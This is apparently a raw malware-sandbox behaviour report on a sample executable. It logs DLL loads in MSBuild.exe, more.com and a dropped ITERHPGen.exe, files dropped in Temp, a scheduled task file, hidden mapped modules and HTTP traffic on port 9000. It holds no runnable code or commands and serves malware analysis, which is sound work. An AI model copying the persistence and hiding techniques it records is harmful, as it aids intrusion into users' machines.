Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: mscoree.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: version.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Roaming\ITEinboxI2CFlash\ITERHPGen.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Roaming\ITEinboxI2CFlash\ITERHPGen.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Roaming\ITEinboxI2CFlash\ITERHPGen.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Roaming\ITEinboxI2CFlash\ITERHPGen.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Roaming\ITEinboxI2CFlash\ITERHPGen.exe	Section loaded: wtsapi32.dll
Source: C:\Users\user\AppData\Roaming\ITEinboxI2CFlash\ITERHPGen.exe	Section loaded: winsta.dll
Source: C:\Users\user\AppData\Roaming\ITEinboxI2CFlash\ITERHPGen.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Roaming\ITEinboxI2CFlash\ITERHPGen.exe	Section loaded: idndl.dll
Source: C:\Users\user\AppData\Roaming\ITEinboxI2CFlash\ITERHPGen.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Roaming\ITEinboxI2CFlash\ITERHPGen.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Roaming\ITEinboxI2CFlash\ITERHPGen.exe	Section loaded: windowscodecs.dll
Source: C:\Users\user\AppData\Roaming\ITEinboxI2CFlash\ITERHPGen.exe	Section loaded: shdocvw.dll
Source: C:\Windows\SysWOW64\more.com	Section loaded: ulib.dll
Source: C:\Windows\SysWOW64\more.com	Section loaded: fsutilext.dll
Source: C:\Windows\SysWOW64\more.com	Section loaded: vssapi.dll
Source: C:\Windows\SysWOW64\more.com	Section loaded: vsstrace.dll
Source: C:\Windows\SysWOW64\more.com	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\more.com	Section loaded: uxtheme.dll
Source: C:\Windows\SysWOW64\more.com	Section loaded: mstask.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: mscoree.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: version.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: uxtheme.dll

Source: C:\Windows\SysWOW64\more.com

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{5CE34C0D-0DC9-4C1F-897C-DAA1B78CEE7C}\InProcServer32

Jump to behavior

Source: runenwwtdnpx.2.dr

LNK file: ..\..\..\..\user\AppData\Roaming\ITEinboxI2CFlash\ITERHPGen.exe

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: 1cad1f43e4768f56d68bb2b2737b7f5eebe78e8737f38.exe

Static PE information: Virtual size of .text is bigger than: 0x100000

Source: 1cad1f43e4768f56d68bb2b2737b7f5eebe78e8737f38.exe

Static file information: File size 19169216 > 1048576

Source: 1cad1f43e4768f56d68bb2b2737b7f5eebe78e8737f38.exe	Static PE information: Raw size of .text is bigger than: 0x100000 < 0x308400
Source: 1cad1f43e4768f56d68bb2b2737b7f5eebe78e8737f38.exe	Static PE information: Raw size of .rsrc is bigger than: 0x100000 < 0xa99200

Source: 1cad1f43e4768f56d68bb2b2737b7f5eebe78e8737f38.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT

Source:	Binary string: wntdll.pdbUGP source: 1cad1f43e4768f56d68bb2b2737b7f5eebe78e8737f38.exe, 00000000.00000002.1494906771.00000000055C0000.00000004.00000800.00020000.00000000.sdmp, 1cad1f43e4768f56d68bb2b2737b7f5eebe78e8737f38.exe, 00000000.00000002.1492795481.00000000050AB000.00000004.00000020.00020000.00000000.sdmp, more.com, 00000002.00000002.1790316524.00000000049A0000.00000004.00000020.00020000.00000000.sdmp, more.com, 00000002.00000002.1790621154.0000000004F90000.00000004.00001000.00020000.00000000.sdmp, more.com, 00000007.00000002.1841195859.0000000004EA0000.00000004.00001000.00020000.00000000.sdmp, more.com, 00000007.00000002.1840643368.00000000048B9000.00000004.00000020.00020000.00000000.sdmp, more.com, 0000000B.00000002.1898876592.0000000004CC7000.00000004.00000020.00020000.00000000.sdmp, more.com, 0000000B.00000002.1899243196.00000000052A0000.00000004.00001000.00020000.00000000.sdmp, more.com, 00000016.00000002.3846342146.00000000047B0000.00000004.00001000.00020000.00000000.sdmp, more.com, 00000016.00000002.3845330061.00000000041D5000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdb source: 1cad1f43e4768f56d68bb2b2737b7f5eebe78e8737f38.exe, 00000000.00000002.1494906771.00000000055C0000.00000004.00000800.00020000.00000000.sdmp, 1cad1f43e4768f56d68bb2b2737b7f5eebe78e8737f38.exe, 00000000.00000002.1492795481.00000000050AB000.00000004.00000020.00020000.00000000.sdmp, more.com, 00000002.00000002.1790316524.00000000049A0000.00000004.00000020.00020000.00000000.sdmp, more.com, 00000002.00000002.1790621154.0000000004F90000.00000004.00001000.00020000.00000000.sdmp, more.com, 00000007.00000002.1841195859.0000000004EA0000.00000004.00001000.00020000.00000000.sdmp, more.com, 00000007.00000002.1840643368.00000000048B9000.00000004.00000020.00020000.00000000.sdmp, more.com, 0000000B.00000002.1898876592.0000000004CC7000.00000004.00000020.00020000.00000000.sdmp, more.com, 0000000B.00000002.1899243196.00000000052A0000.00000004.00001000.00020000.00000000.sdmp, more.com, 00000016.00000002.3846342146.00000000047B0000.00000004.00001000.00020000.00000000.sdmp, more.com, 00000016.00000002.3845330061.00000000041D5000.00000004.00000020.00020000.00000000.sdmp

Source: 1cad1f43e4768f56d68bb2b2737b7f5eebe78e8737f38.exe

Static PE information: section name: .didata

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_00E6EC5D push eax; iretd	10_2_00E6EC5E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_06D63E78 push es; ret	10_2_06D63E28
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_06D63E1D push es; ret	10_2_06D63E28
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_06D684C7 push es; retf	10_2_06D684D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_06D66DA2 push esp; ret	10_2_06D66DA9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_0731CC68 push eax; iretd	10_2_0731CC69

Source: kwvvjj.2.dr	Static PE information: section name: .text entropy: 6.81643408206793
Source: xwv.7.dr	Static PE information: section name: .text entropy: 6.81643408206793
Source: yuyhf.11.dr	Static PE information: section name: .text entropy: 6.81643408206793

Source: C:\Windows\SysWOW64\more.com	File created: C:\Users\user\AppData\Local\Temp\kwvvjj	Jump to dropped file
Source: C:\Windows\SysWOW64\more.com	File created: C:\Users\user\AppData\Local\Temp\pvrrwvlxy	Jump to dropped file
Source: C:\Windows\SysWOW64\more.com	File created: C:\Users\user\AppData\Local\Temp\xwv	Jump to dropped file
Source: C:\Windows\SysWOW64\more.com	File created: C:\Users\user\AppData\Local\Temp\yuyhf	Jump to dropped file

Source: C:\Windows\SysWOW64\more.com	File created: C:\Users\user\AppData\Local\Temp\kwvvjj	Jump to dropped file
Source: C:\Windows\SysWOW64\more.com	File created: C:\Users\user\AppData\Local\Temp\xwv	Jump to dropped file
Source: C:\Windows\SysWOW64\more.com	File created: C:\Users\user\AppData\Local\Temp\yuyhf	Jump to dropped file
Source: C:\Windows\SysWOW64\more.com	File created: C:\Users\user\AppData\Local\Temp\pvrrwvlxy	Jump to dropped file

Source: C:\Windows\SysWOW64\more.com

File created: C:\Windows\Tasks\AsusFCNotification.job

Jump to behavior

Hooking and other Techniques for Hiding and Protection

Found hidden mapped module (file has been removed from disk)

Source: C:\Windows\SysWOW64\more.com	Module Loaded: C:\USERS\user\APPDATA\LOCAL\TEMP\KWVVJJ
Source: C:\Windows\SysWOW64\more.com	Module Loaded: C:\USERS\user\APPDATA\LOCAL\TEMP\XWV
Source: C:\Windows\SysWOW64\more.com	Module Loaded: C:\USERS\user\APPDATA\LOCAL\TEMP\YUYHF
Source: C:\Windows\SysWOW64\more.com	Module Loaded: C:\USERS\user\APPDATA\LOCAL\TEMP\PVRRWVLXY

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49717 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 58353 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 58354 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 58355 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 58356 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 58357 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 58358 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 58359 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 58360 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 58361 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 58362 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 58363 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 58364 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 58365 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 58366 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 58367 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 58368 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 58369 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 58370 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 58371 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 58372 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 58373 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 58374 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 58375 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 58376 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 58377 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 58378 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 58386 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 58389 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 58395 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 58396 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 58397 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 58398 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 58399 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 58400 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 58401 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 58402 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 58403 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 58404 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 58405 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 58406 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 58408 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 58409 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 58411 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 58412 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 58413 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 58414 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 58415 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 58416 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 58419 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 58420 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 58421 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 58422 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 58423 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 58424 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 58425 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 58426 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 58427 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 58428 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 58429 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 58430 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 58431 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 58433 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 58435 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 58437 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 58438 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 58439 -> 9000

Source: C:\Users\user\Desktop\1cad1f43e4768f56d68bb2b2737b7f5eebe78e8737f38.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\1cad1f43e4768f56d68bb2b2737b7f5eebe78e8737f38.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\1cad1f43e4768f56d68bb2b2737b7f5eebe78e8737f38.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\1cad1f43e4768f56d68bb2b2737b7f5eebe78e8737f38.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\1cad1f43e4768f56d68bb2b2737b7f5eebe78e8737f38.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\1cad1f43e4768f56d68bb2b2737b7f5eebe78e8737f38.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\1cad1f43e4768f56d68bb2b2737b7f5eebe78e8737f38.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ITEinboxI2CFlash\ITERHPGen.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ITEinboxI2CFlash\ITERHPGen.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ITEinboxI2CFlash\ITERHPGen.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ITEinboxI2CFlash\ITERHPGen.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ITEinboxI2CFlash\ITERHPGen.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ITEinboxI2CFlash\ITERHPGen.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ITEinboxI2CFlash\ITERHPGen.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ITEinboxI2CFlash\ITERHPGen.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ITEinboxI2CFlash\ITERHPGen.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ITEinboxI2CFlash\ITERHPGen.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ITEinboxI2CFlash\ITERHPGen.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ITEinboxI2CFlash\ITERHPGen.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ITEinboxI2CFlash\ITERHPGen.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ITEinboxI2CFlash\ITERHPGen.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
